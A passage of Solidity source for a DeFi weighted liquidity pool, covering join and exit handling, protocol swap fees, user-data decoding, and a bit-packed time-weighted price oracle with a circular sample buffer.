whenNotPaused returns ( uint256, uint256[] memory, uint256[] memory ) { // All joins are disabled while the contract is paused. uint256[] memory normalizedWeights = _normalizedWeights(); // Due protocol swap fee amounts are computed by measuring the growth of the invariant between the previous join // or exit event and now - the invariant's growth is due exclusively to swap fees. This avoids spending gas // computing them on each individual swap uint256 invariantBeforeJoin = WeightedMath._calculateInvariant(normalizedWeights, balances); uint256[] memory dueProtocolFeeAmounts = _getDueProtocolFeeAmounts( balances, normalizedWeights, _lastInvariant, invariantBeforeJoin, protocolSwapFeePercentage ); // Update current balances by subtracting the protocol fee amounts _mutateAmounts(balances, dueProtocolFeeAmounts, FixedPoint.sub); (uint256 bptAmountOut, uint256[] memory amountsIn) = _doJoin(balances, normalizedWeights, userData); // Update the invariant with the balances the Pool will have after the join, in order to compute the // protocol swap fee amounts due in future joins and exits. _lastInvariant = _invariantAfterJoin(balances, amountsIn, normalizedWeights); return (bptAmountOut, amountsIn, dueProtocolFeeAmounts); } function _doJoin( uint256[] memory balances, uint256[] memory normalizedWeights, bytes memory userData ) private view returns (uint256, uint256[] memory) { JoinKind kind = userData.joinKind(); if (kind == JoinKind.EXACT_TOKENS_IN_FOR_BPT_OUT) { return _joinExactTokensInForBPTOut(balances, normalizedWeights, userData); } else if (kind == JoinKind.TOKEN_IN_FOR_EXACT_BPT_OUT) { return _joinTokenInForExactBPTOut(balances, normalizedWeights, userData); } else { _revert(Errors.UNHANDLED_JOIN_KIND); } } function _joinExactTokensInForBPTOut( uint256[] memory balances, uint256[] memory normalizedWeights, bytes memory userData ) private view returns (uint256, uint256[] memory) { (uint256[] memory amountsIn, uint256 minBPTAmountOut) = userData.exactTokensInForBptOut(); InputHelpers.ensureInputLengthMatch(_getTotalTokens(), amountsIn.length); _upscaleArray(amountsIn, _scalingFactors()); uint256 bptAmountOut = WeightedMath._calcBptOutGivenExactTokensIn( balances, normalizedWeights, amountsIn, totalSupply(), _swapFeePercentage ); _require(bptAmountOut >= minBPTAmountOut, Errors.BPT_OUT_MIN_AMOUNT); return (bptAmountOut, amountsIn); } function _joinTokenInForExactBPTOut( uint256[] memory balances, uint256[] memory normalizedWeights, bytes memory userData ) private view returns (uint256, uint256[] memory) { (uint256 bptAmountOut, uint256 tokenIndex) = userData.tokenInForExactBptOut(); // Note that there is no maximum amountIn parameter: this is handled by `IVault.joinPool`. _require(tokenIndex < _getTotalTokens(), Errors.OUT_OF_BOUNDS); uint256[] memory amountsIn = new uint256[](_getTotalTokens()); amountsIn[tokenIndex] = WeightedMath._calcTokenInGivenExactBptOut( balances[tokenIndex], normalizedWeights[tokenIndex], bptAmountOut, totalSupply(), _swapFeePercentage ); return (bptAmountOut, amountsIn); } // Exit function _onExitPool( bytes32, address, address, uint256[] memory balances, uint256, uint256 protocolSwapFeePercentage, bytes memory userData ) internal virtual override returns ( uint256 bptAmountIn, uint256[] memory amountsOut, uint256[] memory dueProtocolFeeAmounts ) { // Exits are not completely disabled while the contract is paused: proportional exits (exact BPT in for tokens // out) remain functional. uint256[] memory normalizedWeights = _normalizedWeights(); if (_isNotPaused()) { // Due protocol swap fee amounts are computed by measuring the growth of the invariant between the previous // join or exit event and now - the invariant's growth is due exclusively to swap fees. This avoids // spending gas calculating the fees on each individual swap. uint256 invariantBeforeExit = WeightedMath._calculateInvariant(normalizedWeights, balances); dueProtocolFeeAmounts = _getDueProtocolFeeAmounts( balances, normalizedWeights, _lastInvariant, invariantBeforeExit, protocolSwapFeePercentage ); // Update current balances by subtracting the protocol fee amounts _mutateAmounts(balances, dueProtocolFeeAmounts, FixedPoint.sub); } else { // If the contract is paused, swap protocol fee amounts are not charged to avoid extra calculations and // reduce the potential for errors. dueProtocolFeeAmounts = new uint256[](_getTotalTokens()); } (bptAmountIn, amountsOut) = _doExit(balances, normalizedWeights, userData); // Update the invariant with the balances the Pool will have after the exit, in order to compute the // protocol swap fees due in future joins and exits. _lastInvariant = _invariantAfterExit(balances, amountsOut, normalizedWeights); return (bptAmountIn, amountsOut, dueProtocolFeeAmounts); } function _doExit( uint256[] memory balances, uint256[] memory normalizedWeights, bytes memory userData ) private view returns (uint256, uint256[] memory) { ExitKind kind = userData.exitKind(); if (kind == ExitKind.EXACT_BPT_IN_FOR_ONE_TOKEN_OUT) { return _exitExactBPTInForTokenOut(balances, normalizedWeights, userData); } else if (kind == ExitKind.EXACT_BPT_IN_FOR_TOKENS_OUT) { return _exitExactBPTInForTokensOut(balances, userData); } else { // ExitKind.BPT_IN_FOR_EXACT_TOKENS_OUT return _exitBPTInForExactTokensOut(balances, normalizedWeights, userData); } } function _exitExactBPTInForTokenOut( uint256[] memory balances, uint256[] memory normalizedWeights, bytes memory userData ) private view whenNotPaused returns (uint256, uint256[] memory) { // This exit function is disabled if the contract is paused. (uint256 bptAmountIn, uint256 tokenIndex) = userData.exactBptInForTokenOut(); // Note that there is no minimum amountOut parameter: this is handled by `IVault.exitPool`. _require(tokenIndex < _getTotalTokens(), Errors.OUT_OF_BOUNDS); // We exit in a single token, so we initialize amountsOut with zeros uint256[] memory amountsOut = new uint256[](_getTotalTokens()); // And then assign the result to the selected token amountsOut[tokenIndex] = WeightedMath._calcTokenOutGivenExactBptIn( balances[tokenIndex], normalizedWeights[tokenIndex], bptAmountIn, totalSupply(), _swapFeePercentage ); return (bptAmountIn, amountsOut); } function _exitExactBPTInForTokensOut(uint256[] memory balances, bytes memory userData) private view returns (uint256, uint256[] memory) { // This exit function is the only one that is not disabled if the contract is paused: it remains unrestricted // in an attempt to provide users with a mechanism to retrieve their tokens in case of an emergency. // This particular exit function is the only one that remains available because it is the simplest one, and // therefore the one with the lowest likelihood of errors. uint256 bptAmountIn = userData.exactBptInForTokensOut(); // Note that there is no minimum amountOut parameter: this is handled by `IVault.exitPool`. uint256[] memory amountsOut = WeightedMath._calcTokensOutGivenExactBptIn(balances, bptAmountIn, totalSupply()); return (bptAmountIn, amountsOut); } function _exitBPTInForExactTokensOut( uint256[] memory balances, uint256[] memory normalizedWeights, bytes memory userData ) private view whenNotPaused returns (uint256, uint256[] memory) { // This exit function is disabled if the contract is paused. (uint256[] memory amountsOut, uint256 maxBPTAmountIn) = userData.bptInForExactTokensOut(); InputHelpers.ensureInputLengthMatch(amountsOut.length, _getTotalTokens()); _upscaleArray(amountsOut, _scalingFactors()); uint256 bptAmountIn = WeightedMath._calcBptInGivenExactTokensOut( balances, normalizedWeights, amountsOut, totalSupply(), _swapFeePercentage ); _require(bptAmountIn <= maxBPTAmountIn, Errors.BPT_IN_MAX_AMOUNT); return (bptAmountIn, amountsOut); } // Helpers function _getDueProtocolFeeAmounts( uint256[] memory balances, uint256[] memory normalizedWeights, uint256 previousInvariant, uint256 currentInvariant, uint256 protocolSwapFeePercentage ) private view returns (uint256[] memory) { // Initialize with zeros uint256[] memory dueProtocolFeeAmounts = new uint256[](_getTotalTokens()); // Early return if the protocol swap fee percentage is zero, saving gas. if (protocolSwapFeePercentage == 0) { return dueProtocolFeeAmounts; } // The protocol swap fees are always paid using the token with the largest weight in the Pool. As this is the // token that is expected to have the largest balance, using it to pay fees should not unbalance the Pool. dueProtocolFeeAmounts[_maxWeightTokenIndex] = WeightedMath._calcDueTokenProtocolSwapFeeAmount( balances[_maxWeightTokenIndex], normalizedWeights[_maxWeightTokenIndex], previousInvariant, currentInvariant, protocolSwapFeePercentage ); return dueProtocolFeeAmounts; } /** * @dev Returns the value of the invariant given `balances`, assuming they are increased by `amountsIn`. All * amounts are expected to be upscaled. */ function _invariantAfterJoin( uint256[] memory balances, uint256[] memory amountsIn, uint256[] memory normalizedWeights ) private view returns (uint256) { _mutateAmounts(balances, amountsIn, FixedPoint.add); return WeightedMath._calculateInvariant(normalizedWeights, balances); } function _invariantAfterExit( uint256[] memory balances, uint256[] memory amountsOut, uint256[] memory normalizedWeights ) private view returns (uint256) { _mutateAmounts(balances, amountsOut, FixedPoint.sub); return WeightedMath._calculateInvariant(normalizedWeights, balances); } /** * @dev Mutates `amounts` by applying `mutation` with each entry in `arguments`. * * Equivalent to `amounts = amounts.map(mutation)`. */ function _mutateAmounts( uint256[] memory toMutate, uint256[] memory arguments, function(uint256, uint256) pure returns (uint256) mutation ) private view { for (uint256 i = 0; i < _getTotalTokens(); ++i) { toMutate[i] = mutation(toMutate[i], arguments[i]); } } /** * @dev This function returns the appreciation of one BPT relative to the * underlying tokens. This starts at 1 when the pool is created and grows over time */ function getRate() public view returns (uint256) { // The initial BPT supply is equal to the invariant times the number of tokens. return Math.mul(getInvariant(), _getTotalTokens()).divDown(totalSupply()); } } library WeightedPoolUserDataHelpers { function joinKind(bytes memory self) internal pure returns (WeightedPool.JoinKind) { return abi.decode(self, (WeightedPool.JoinKind)); } function exitKind(bytes memory self) internal pure returns (WeightedPool.ExitKind) { return abi.decode(self, (WeightedPool.ExitKind)); } // Joins function initialAmountsIn(bytes memory self) internal pure returns (uint256[] memory amountsIn) { (, amountsIn) = abi.decode(self, (WeightedPool.JoinKind, uint256[])); } function exactTokensInForBptOut(bytes memory self) internal pure returns (uint256[] memory amountsIn, uint256 minBPTAmountOut) { (, amountsIn, minBPTAmountOut) = abi.decode(self, (WeightedPool.JoinKind, uint256[], uint256)); } function tokenInForExactBptOut(bytes memory self) internal pure returns (uint256 bptAmountOut, uint256 tokenIndex) { (, bptAmountOut, tokenIndex) = abi.decode(self, (WeightedPool.JoinKind, uint256, uint256)); } // Exits function exactBptInForTokenOut(bytes memory self) internal pure returns (uint256 bptAmountIn, uint256 tokenIndex) { (, bptAmountIn, tokenIndex) = abi.decode(self, (WeightedPool.ExitKind, uint256, uint256)); } function exactBptInForTokensOut(bytes memory self) internal pure returns (uint256 bptAmountIn) { (, bptAmountIn) = abi.decode(self, (WeightedPool.ExitKind, uint256)); } function bptInForExactTokensOut(bytes memory self) internal pure returns (uint256[] memory amountsOut, uint256 maxBPTAmountIn) { (, amountsOut, maxBPTAmountIn) = abi.decode(self, (WeightedPool.ExitKind, uint256[], uint256)); } } /** * @dev Interface for querying historical data from a Pool that can be used as a Price Oracle. * * This lets third parties retrieve average prices of tokens held by a Pool over a given period of time, as well as the * price of the Pool share token (BPT) and invariant. Since the invariant is a sensible measure of Pool liquidity, it * can be used to compare two different price sources, and choose the most liquid one. * * Once the oracle is fully initialized, all queries are guaranteed to succeed as long as they require no data that * is not older than the largest safe query window. */ interface IPriceOracle { // The three values that can be queried: // // - PAIR_PRICE: the price of the tokens in the Pool, expressed as the price of the second token in units of the // first token. For example, if token A is worth $2, and token B is worth $4, the pair price will be 2.0. // Note that the price is computed *including* the tokens decimals. This means that the pair price of a Pool with // DAI and USDC will be close to 1.0, despite DAI having 18 decimals and USDC 6. // // - BPT_PRICE: the price of the Pool share token (BPT), in units of the first token. // Note that the price is computed *including* the tokens decimals. This means that the BPT price of a Pool with // USDC in which BPT is worth $5 will be 5.0, despite the BPT having 18 decimals and USDC 6. // // - INVARIANT: the value of the Pool's invariant, which serves as a measure of its liquidity. enum Variable { PAIR_PRICE, BPT_PRICE, INVARIANT } /** * @dev Returns the time average weighted price corresponding to each of `queries`. Prices are represented as 18 * decimal fixed point values. */ function getTimeWeightedAverage(OracleAverageQuery[] memory queries) external view returns (uint256[] memory results); /** * @dev Returns latest sample of `variable`. Prices are represented as 18 decimal fixed point values. */ function getLatest(Variable variable) external view returns (uint256); /** * @dev Information for a Time Weighted Average query. * * Each query computes the average over a window of duration `secs` seconds that ended `ago` seconds ago. For * example, the average over the past 30 minutes is computed by settings secs to 1800 and ago to 0. If secs is 1800 * and ago is 1800 as well, the average between 60 and 30 minutes ago is computed instead. */ struct OracleAverageQuery { Variable variable; uint256 secs; uint256 ago; } /** * @dev Returns largest time window that can be safely queried, where 'safely' means the Oracle is guaranteed to be * able to produce a result and not revert. * * If a query has a non-zero `ago` value, then `secs + ago` (the oldest point in time) must be smaller than this * value for 'safe' queries. */ function getLargestSafeQueryWindow() external view returns (uint256); /** * @dev Returns the accumulators corresponding to each of `queries`. */ function getPastAccumulators(OracleAccumulatorQuery[] memory queries) external view returns (int256[] memory results); /** * @dev Information for an Accumulator query. * * Each query estimates the accumulator at a time `ago` seconds ago. */ struct OracleAccumulatorQuery { Variable variable; uint256 ago; } } /** * @dev Library for encoding and decoding values stored inside a 256 bit word. Typically used to pack multiple values in * a single storage slot, saving gas by performing less storage accesses. * * Each value is defined by its size and the least significant bit in the word, also known as offset. For example, two * 128 bit values may be encoded in a word by assigning one an offset of 0, and the other an offset of 128. */ library WordCodec { // Masks are values with the least significant N bits set. They can be used to extract an encoded value from a word, // or to insert a new one replacing the old. uint256 private constant _MASK_1 = 2**(1) - 1; uint256 private constant _MASK_10 = 2**(10) - 1; uint256 private constant _MASK_22 = 2**(22) - 1; uint256 private constant _MASK_31 = 2**(31) - 1; uint256 private constant _MASK_53 = 2**(53) - 1; uint256 private constant _MASK_64 = 2**(64) - 1; // Largest positive values that can be represented as N bits signed integers. int256 private constant _MAX_INT_22 = 2**(21) - 1; int256 private constant _MAX_INT_53 = 2**(52) - 1; // In-place insertion /** * @dev Inserts a boolean value shifted by an offset into a 256 bit word, replacing the old value. Returns the new * word. */ function insertBoolean( bytes32 word, bool value, uint256 offset ) internal pure returns (bytes32) { bytes32 clearedWord = bytes32(uint256(word) & ~(_MASK_1 << offset)); return clearedWord | bytes32(uint256(value ? 1 : 0) << offset); } // Unsigned /** * @dev Inserts a 10 bit unsigned integer shifted by an offset into a 256 bit word, replacing the old value. Returns * the new word. * * Assumes `value` can be represented using 10 bits. */ function insertUint10( bytes32 word, uint256 value, uint256 offset ) internal pure returns (bytes32) { bytes32 clearedWord = bytes32(uint256(word) & ~(_MASK_10 << offset)); return clearedWord | bytes32(value << offset); } /** * @dev Inserts a 31 bit unsigned integer shifted by an offset into a 256 bit word, replacing the old value. Returns * the new word. * * Assumes `value` can be represented using 31 bits. */ function insertUint31( bytes32 word, uint256 value, uint256 offset ) internal pure returns (bytes32) { bytes32 clearedWord = bytes32(uint256(word) & ~(_MASK_31 << offset)); return clearedWord | bytes32(value << offset); } /** * @dev Inserts a 64 bit unsigned integer shifted by an offset into a 256 bit word, replacing the old value. Returns * the new word. * * Assumes `value` can be represented using 64 bits. */ function insertUint64( bytes32 word, uint256 value, uint256 offset ) internal pure returns (bytes32) { bytes32 clearedWord = bytes32(uint256(word) & ~(_MASK_64 << offset)); return clearedWord | bytes32(value << offset); } // Signed /** * @dev Inserts a 22 bits signed integer shifted by an offset into a 256 bit word, replacing the old value. Returns * the new word. * * Assumes `value` can be represented using 22 bits. */ function insertInt22( bytes32 word, int256 value, uint256 offset ) internal pure returns (bytes32) { bytes32 clearedWord = bytes32(uint256(word) & ~(_MASK_22 << offset)); // Integer values need masking to remove the upper bits of negative values. return clearedWord | bytes32((uint256(value) & _MASK_22) << offset); } // Encoding // Unsigned /** * @dev Encodes a 31 bit unsigned integer shifted by an offset. * * The return value can be logically ORed with other encoded values to form a 256 bit word. */ function encodeUint31(uint256 value, uint256 offset) internal pure returns (bytes32) { return bytes32(value << offset); } // Signed /** * @dev Encodes a 22 bits signed integer shifted by an offset. * * The return value can be logically ORed with other encoded values to form a 256 bit word. */ function encodeInt22(int256 value, uint256 offset) internal pure returns (bytes32) { // Integer values need masking to remove the upper bits of negative values. return bytes32((uint256(value) & _MASK_22) << offset); } /** * @dev Encodes a 53 bits signed integer shifted by an offset. * * The return value can be logically ORed with other encoded values to form a 256 bit word. */ function encodeInt53(int256 value, uint256 offset) internal pure returns (bytes32) { // Integer values need masking to remove the upper bits of negative values. return bytes32((uint256(value) & _MASK_53) << offset); } // Decoding /** * @dev Decodes and returns a boolean shifted by an offset from a 256 bit word. */ function decodeBool(bytes32 word, uint256 offset) internal pure returns (bool) { return (uint256(word >> offset) & _MASK_1) == 1; } // Unsigned /** * @dev Decodes and returns a 10 bit unsigned integer shifted by an offset from a 256 bit word. */ function decodeUint10(bytes32 word, uint256 offset) internal pure returns (uint256) { return uint256(word >> offset) & _MASK_10; } /** * @dev Decodes and returns a 31 bit unsigned integer shifted by an offset from a 256 bit word. */ function decodeUint31(bytes32 word, uint256 offset) internal pure returns (uint256) { return uint256(word >> offset) & _MASK_31; } /** * @dev Decodes and returns a 64 bit unsigned integer shifted by an offset from a 256 bit word. */ function decodeUint64(bytes32 word, uint256 offset) internal pure returns (uint256) { return uint256(word >> offset) & _MASK_64; } // Signed /** * @dev Decodes and returns a 22 bits signed integer shifted by an offset from a 256 bit word. */ function decodeInt22(bytes32 word, uint256 offset) internal pure returns (int256) { int256 value = int256(uint256(word >> offset) & _MASK_22); // In case the decoded value is greater than the max positive integer that can be represented with 22 bits, // we know it was originally a negative integer. Therefore, we mask it to restore the sign in the 256 bit // representation. return value > _MAX_INT_22 ? (value | int256(~_MASK_22)) : value; } /** * @dev Decodes and returns a 53 bits signed integer shifted by an offset from a 256 bit word. */ function decodeInt53(bytes32 word, uint256 offset) internal pure returns (int256) { int256 value = int256(uint256(word >> offset) & _MASK_53); // In case the decoded value is greater than the max positive integer that can be represented with 53 bits, // we know it was originally a negative integer. Therefore, we mask it to restore the sign in the 256 bit // representation. return value > _MAX_INT_53 ? (value | int256(~_MASK_53)) : value; } } /** * @dev This library provides functions to help manipulating samples for Pool Price Oracles. It handles updates, * encoding, and decoding of samples. * * Each sample holds the timestamp of its last update, plus information about three pieces of data: the price pair, the * price of BPT (the associated Pool token), and the invariant. * * Prices and invariant are not stored directly: instead, we store their logarithm. These are known as the 'instant' * values: the exact value at that timestamp. * * Additionally, for each value we keep an accumulator with the sum of all past values, each weighted by the time * elapsed since the previous update. This lets us later subtract accumulators at different points in time and divide by * the time elapsed between them, arriving at the geometric mean of the values (also known as log-average). * * All samples are stored in a single 256 bit word with the following structure: * * [ log pair price | bpt price | invariant ] * [ instant | accumulator | instant | accumulator | instant | accumulator | timestamp ] * [ int22 | int53 | int22 | int53 | int22 | int53 | uint31 ] * MSB LSB * * Assuming the timestamp doesn't overflow (which holds until the year 2038), the largest elapsed time is 2^31, which * means the largest possible accumulator value is 2^21 * 2^31, which can be represented using a signed 53 bit integer. */ library Samples { using WordCodec for int256; using WordCodec for uint256; using WordCodec for bytes32; uint256 internal constant _TIMESTAMP_OFFSET = 0; uint256 internal constant _ACC_LOG_INVARIANT_OFFSET = 31; uint256 internal constant _INST_LOG_INVARIANT_OFFSET = 84; uint256 internal constant _ACC_LOG_BPT_PRICE_OFFSET = 106; uint256 internal constant _INST_LOG_BPT_PRICE_OFFSET = 159; uint256 internal constant _ACC_LOG_PAIR_PRICE_OFFSET = 181; uint256 internal constant _INST_LOG_PAIR_PRICE_OFFSET = 234; /** * @dev Updates a sample, accumulating the new data based on the elapsed time since the previous update. Returns the * updated sample. * * IMPORTANT: This function does not perform any arithmetic checks. In particular, it assumes the caller will never * pass values that cannot be represented as 22 bit signed integers. Additionally, it also assumes * `currentTimestamp` is greater than `sample`'s timestamp. */ function update( bytes32 sample, int256 instLogPairPrice, int256 instLogBptPrice, int256 instLogInvariant, uint256 currentTimestamp ) internal pure returns (bytes32) { // Because elapsed can be represented as a 31 bit unsigned integer, and the received values can be represented // as 22 bit signed integers, we don't need to perform checked arithmetic. int256 elapsed = int256(currentTimestamp - timestamp(sample)); int256 accLogPairPrice = _accLogPairPrice(sample) + instLogPairPrice * elapsed; int256 accLogBptPrice = _accLogBptPrice(sample) + instLogBptPrice * elapsed; int256 accLogInvariant = _accLogInvariant(sample) + instLogInvariant * elapsed; return pack( instLogPairPrice, accLogPairPrice, instLogBptPrice, accLogBptPrice, instLogInvariant, accLogInvariant, currentTimestamp ); } /** * @dev Returns the instant value stored in `sample` for `variable`. */ function instant(bytes32 sample, IPriceOracle.Variable variable) internal pure returns (int256) { if (variable == IPriceOracle.Variable.PAIR_PRICE) { return _instLogPairPrice(sample); } else if (variable == IPriceOracle.Variable.BPT_PRICE) { return _instLogBptPrice(sample); } else { // variable == IPriceOracle.Variable.INVARIANT return _instLogInvariant(sample); } } /** * @dev Returns the accumulator value stored in `sample` for `variable`. */ function accumulator(bytes32 sample, IPriceOracle.Variable variable) internal pure returns (int256) { if (variable == IPriceOracle.Variable.PAIR_PRICE) { return _accLogPairPrice(sample); } else if (variable == IPriceOracle.Variable.BPT_PRICE) { return _accLogBptPrice(sample); } else { // variable == IPriceOracle.Variable.INVARIANT return _accLogInvariant(sample); } } /** * @dev Returns `sample`'s timestamp. */ function timestamp(bytes32 sample) internal pure returns (uint256) { return sample.decodeUint31(_TIMESTAMP_OFFSET); } /** * @dev Returns `sample`'s instant value for the logarithm of the pair price. */ function _instLogPairPrice(bytes32 sample) private pure returns (int256) { return sample.decodeInt22(_INST_LOG_PAIR_PRICE_OFFSET); } /** * @dev Returns `sample`'s accumulator of the logarithm of the pair price. */ function _accLogPairPrice(bytes32 sample) private pure returns (int256) { return sample.decodeInt53(_ACC_LOG_PAIR_PRICE_OFFSET); } /** * @dev Returns `sample`'s instant value for the logarithm of the BPT price. */ function _instLogBptPrice(bytes32 sample) private pure returns (int256) { return sample.decodeInt22(_INST_LOG_BPT_PRICE_OFFSET); } /** * @dev Returns `sample`'s accumulator of the logarithm of the BPT price. */ function _accLogBptPrice(bytes32 sample) private pure returns (int256) { return sample.decodeInt53(_ACC_LOG_BPT_PRICE_OFFSET); } /** * @dev Returns `sample`'s instant value for the logarithm of the invariant. */ function _instLogInvariant(bytes32 sample) private pure returns (int256) { return sample.decodeInt22(_INST_LOG_INVARIANT_OFFSET); } /** * @dev Returns `sample`'s accumulator of the logarithm of the invariant. */ function _accLogInvariant(bytes32 sample) private pure returns (int256) { return sample.decodeInt53(_ACC_LOG_INVARIANT_OFFSET); } /** * @dev Returns a sample created by packing together its components. */ function pack( int256 instLogPairPrice, int256 accLogPairPrice, int256 instLogBptPrice, int256 accLogBptPrice, int256 instLogInvariant, int256 accLogInvariant, uint256 _timestamp ) internal pure returns (bytes32) { return instLogPairPrice.encodeInt22(_INST_LOG_PAIR_PRICE_OFFSET) | accLogPairPrice.encodeInt53(_ACC_LOG_PAIR_PRICE_OFFSET) | instLogBptPrice.encodeInt22(_INST_LOG_BPT_PRICE_OFFSET) | accLogBptPrice.encodeInt53(_ACC_LOG_BPT_PRICE_OFFSET) | instLogInvariant.encodeInt22(_INST_LOG_INVARIANT_OFFSET) | accLogInvariant.encodeInt53(_ACC_LOG_INVARIANT_OFFSET) | _timestamp.encodeUint31(_TIMESTAMP_OFFSET); } /** * @dev Unpacks a sample into its components. */ function unpack(bytes32 sample) internal pure returns ( int256 logPairPrice, int256 accLogPairPrice, int256 logBptPrice, int256 accLogBptPrice, int256 logInvariant, int256 accLogInvariant, uint256 _timestamp ) { logPairPrice = _instLogPairPrice(sample); accLogPairPrice = _accLogPairPrice(sample); logBptPrice = _instLogBptPrice(sample); accLogBptPrice = _accLogBptPrice(sample); logInvariant = _instLogInvariant(sample); accLogInvariant = _accLogInvariant(sample); _timestamp = timestamp(sample); } } interface IWeightedPoolPriceOracle { /** * @dev Returns the raw data of the sample at `index`. */ function getSample(uint256 index) external view returns ( int256 logPairPrice, int256 accLogPairPrice, int256 logBptPrice, int256 accLogBptPrice, int256 logInvariant, int256 accLogInvariant, uint256 timestamp ); /** * @dev Returns the total number of samples. */ function getTotalSamples() external view returns (uint256); } /** * @dev Interface for the WETH token contract used internally for wrapping and unwrapping, to support * sending and receiving ETH in joins, swaps, and internal balance deposits and withdrawals. */ interface IWETH is IERC20 { function deposit() external payable; function withdraw(uint256 amount) external; } /** * @dev This module allows Pools to access historical pricing information. * * It uses a 1024 long circular buffer to store past data, where the data within each sample is the result of * accumulating live data for no more than two minutes. Therefore, assuming the worst case scenario where new data is * updated in every single block, the oldest samples in the buffer (and therefore largest queryable period) will * be slightly over 34 hours old. * * Usage of this module requires the caller to keep track of two variables: the latest circular buffer index, and the * timestamp when the index last changed. */ contract PoolPriceOracle is IWeightedPoolPriceOracle { using Buffer for uint256; using Samples for bytes32; // Each sample in the buffer accumulates information for up to 2 minutes. This is simply to reduce the size of the // buffer: small time deviations will not have any significant effect. // solhint-disable not-rely-on-time uint256 private constant _MAX_SAMPLE_DURATION = 2 minutes; // We use a mapping to simulate an array: the buffer won't grow or shrink, and since we will always use valid // indexes using a mapping saves gas by skipping the bounds checks. mapping(uint256 => bytes32) internal _samples; function getSample(uint256 index) external view override returns ( int256 logPairPrice, int256 accLogPairPrice, int256 logBptPrice, int256 accLogBptPrice, int256 logInvariant, int256 accLogInvariant, uint256 timestamp ) { _require(index < Buffer.SIZE, Errors.ORACLE_INVALID_INDEX); bytes32 sample = _getSample(index); return sample.unpack(); } function getTotalSamples() external pure override returns (uint256) { return Buffer.SIZE; } /** * @dev Processes new price and invariant data, updating the latest sample or creating a new one. * * Receives the new logarithms of values to store: `logPairPrice`, `logBptPrice` and `logInvariant`, as well the * index of the latest sample and the timestamp of its creation. * * Returns the index of the latest sample. If different from `latestIndex`, the caller should also store the * timestamp, and pass it on future calls to this function. */ function _processPriceData( uint256 latestSampleCreationTimestamp, uint256 latestIndex, int256 logPairPrice, int256 logBptPrice, int256 logInvariant ) internal returns (uint256) { // Read latest sample, and compute the next one by updating it with the newly received data. bytes32 sample = _getSample(latestIndex).update(logPairPrice, logBptPrice, logInvariant, block.timestamp); // We create a new sample if more than _MAX_SAMPLE_DURATION seconds have elapsed since the creation of the // latest one. In other words, no sample accumulates data over a period larger than _MAX_SAMPLE_DURATION. bool newSample = block.timestamp - latestSampleCreationTimestamp >= _MAX_SAMPLE_DURATION; latestIndex = newSample ? latestIndex.next() : latestIndex; // Store the updated or new sample. _samples[latestIndex] = sample; return latestIndex; } /** * @dev Returns the instant value for `variable` in the sample pointed to by `index`. */ function _getInstantValue(IPriceOracle.Variable variable, uint256 index) internal view returns (int256) { bytes32 sample = _getSample(index); _require(sample.timestamp() > 0, Errors.ORACLE_NOT_INITIALIZED); return sample.instant(variable); } /** * @dev Returns the value of the accumulator for `variable` `ago` seconds ago. `latestIndex` must be the index of * the latest sample in the buffer. * * Reverts under the following conditions: * - if the buffer is empty. * - if querying past information and the buffer has not been fully initialized. * - if querying older information than available in the buffer. Note that a full buffer guarantees queries for the * past 34 hours will not revert. * * If requesting information for a timestamp later than the latest one, it is extrapolated using the latest * available data. * * When no exact information is available for the requested past timestamp (as usually happens, since at most one * timestamp is stored every two minutes), it is estimated by performing linear interpolation using the closest * values. This process is guaranteed to complete performing at most 10 storage reads. */ function _getPastAccumulator( IPriceOracle.Variable variable, uint256 latestIndex, uint256 ago ) internal view returns (int256) { // `ago` must not be before the epoch. _require(block.timestamp >= ago, Errors.ORACLE_INVALID_SECONDS_QUERY); uint256 lookUpTime = block.timestamp - ago; bytes32 latestSample = _getSample(latestIndex); uint256 latestTimestamp = latestSample.timestamp(); // The latest sample only has a non-zero timestamp if no data was ever processed and stored in the buffer. _require(latestTimestamp > 0, Errors.ORACLE_NOT_INITIALIZED); if (latestTimestamp <= lookUpTime) { // The accumulator at times ahead of the latest one are computed by extrapolating the latest data. This is // equivalent to the instant value not changing between the last timestamp and the look up time. // We can use unchecked arithmetic since the accumulator can be represented in 53 bits, timestamps in 31 // bits, and the instant value in 22 bits. uint256 elapsed = lookUpTime - latestTimestamp; return latestSample.accumulator(variable) + (latestSample.instant(variable) * int256(elapsed)); } else { // The look up time is before the latest sample, but we need to make sure that it is not before the oldest // sample as well. // Since we use a circular buffer, the oldest sample is simply the next one. uint256 oldestIndex = latestIndex.next(); { // Local scope used to prevent stack-too-deep errors. bytes32 oldestSample = _getSample(oldestIndex); uint256 oldestTimestamp = oldestSample.timestamp(); // For simplicity's sake, we only perform past queries if the buffer has been fully initialized. This // means the oldest sample must have a non-zero timestamp. _require(oldestTimestamp > 0, Errors.ORACLE_NOT_INITIALIZED); // The only remaining condition to check is for the look up time to be between the oldest and latest // timestamps. _require(oldestTimestamp <= lookUpTime, Errors.ORACLE_QUERY_TOO_OLD); } // Perform binary search to find nearest samples to the desired timestamp. (bytes32 prev, bytes32 next) = _findNearestSample(lookUpTime, oldestIndex); // `next`'s timestamp is guaranteed to be larger than `prev`'s, so we can skip checked arithmetic. uint256 samplesTimeDiff = next.timestamp() - prev.timestamp(); if (samplesTimeDiff > 0) { // We estimate the accumulator at the requested look up time by interpolating linearly between the // previous and next accumulators. // We can use unchecked arithmetic since the accumulators can be represented in 53 bits, and timestamps // in 31 bits. int256 samplesAccDiff = next.accumulator(variable) - prev.accumulator(variable); uint256 elapsed = lookUpTime - prev.timestamp(); return prev.accumulator(variable) + ((samplesAccDiff * int256(elapsed)) / int256(samplesTimeDiff)); } else { // Rarely, one of the samples will have the exact requested look up time, which is indicated by `prev` // and `next` being the same. In this case, we simply return the accumulator at that point in time. return prev.accumulator(variable); } } } /** * @dev Finds the two samples with timestamps before and after `lookUpDate`. If one of the samples matches exactly, * both `prev` and `next` will be it. `offset` is the index of the oldest sample in the buffer. * * Assumes `lookUpDate` is greater or equal than the timestamp of the oldest sample, and less or equal than the * timestamp of the latest sample. */ function _findNearestSample(uint256 lookUpDate, uint256 offset) internal view returns (bytes32 prev, bytes32 next) { // We're going to perform a binary search in the circular buffer, which requires it to be sorted. To achieve // this, we offset all buffer accesses by `offset`, making the first element the oldest one. // Auxiliary variables in a typical binary search: we will look at some value `mid` between `low` and `high`, // periodically increasing `low` or decreasing `high` until we either find a match or determine the element is // not in the array. uint256 low = 0; uint256 high = Buffer.SIZE - 1; uint256 mid; // If the search fails and no sample has a timestamp of `lookUpDate` (as is the most common scenario), `sample` // will be either the sample with the largest timestamp smaller than `lookUpDate`, or the one with the smallest // timestamp larger than `lookUpDate`. bytes32 sample; uint256 sampleTimestamp; while (low <= high) { // Mid is the floor of the average. uint256 midWithoutOffset = (high + low) / 2; // Recall that the buffer is not actually sorted: we need 